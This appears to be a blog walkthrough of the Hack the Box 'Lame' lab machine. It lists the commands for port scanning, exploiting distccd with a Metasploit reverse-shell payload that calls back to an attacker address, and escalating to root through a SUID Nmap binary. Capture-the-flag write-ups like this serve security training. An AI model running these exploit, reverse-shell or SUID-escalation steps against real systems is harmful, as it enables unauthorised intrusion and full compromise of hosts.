Hack the Box - Lame - Walkthrough
Introduction
Today we're going to be doing a pentest walkthrough of the Lame machine hosted at https://hackthebox.eu . For this pentest, we'll be using a Kali Linux virtual machine as our attacking system and the Lame machine as the victim system. After connecting to the Hack the Box network via VPN, we see that our target is located at 10.129.95.155.
Scanning and Enumeration
We'll start by scanning for open ports with Nmap:
sudo nmap -T4 -p- 10.129.95.155
And then one more scan with Nmap to enumerate specific ports and services:
sudo nmap -sV -T4 -p21,22,139,445,3632 10.129.95.155
Finding a Way In
Distccd v1, running on TCP port 3632, is an uncommon service. We search to see if it's vulnerable:
Google search string: distccd v1 exploit
https://www.rapid7.com/db/modules/exploit/unix/misc/distcc_exec/
We see here that there's a Metasploit module associated with this exploit. So we start up the Metasploit Framework and setup the module:
sudo msfconsole
use exploit/unix/misc/distcc_exec
set rhosts 10.129.95.155
set payload cmd/unix/reverse
set lhost 10.10.99.99
run
whoami
Getting the User Flag
Since this is a Hack the Box, machine. We'll take this opportunity to collect the User.txt flag. On Linux systems, it's usually located in one of the user's Home directories: On this machine, it's located in the makis user's.
cd /home
cd makis
cat user.txt
Privilege Escalation
After a bit of poking, we see that there is a dangerous SUID binary on the system:
find / -perm -u=s -type f 2>/dev/null
The Nmap binary can be exploited to gain root access if it has the SUID bit set by spawning a shell inside of it:
nmap --interactive
!sh
whoami
Collecting the Root Flag
The root flag on Hack the Box's Linux machines is usually located in the root directory:
Summary
The Lame machine was running a vulnerable version of the Distcc service, which we exploited to gain a reverse shell via Metasploit. Once on the victim system, we found that an insecure Nmap binary had its SUID bit set, which allowed us to gain root access by spawning a shell from within execution of the binary.
Finish
Comments
Post a Comment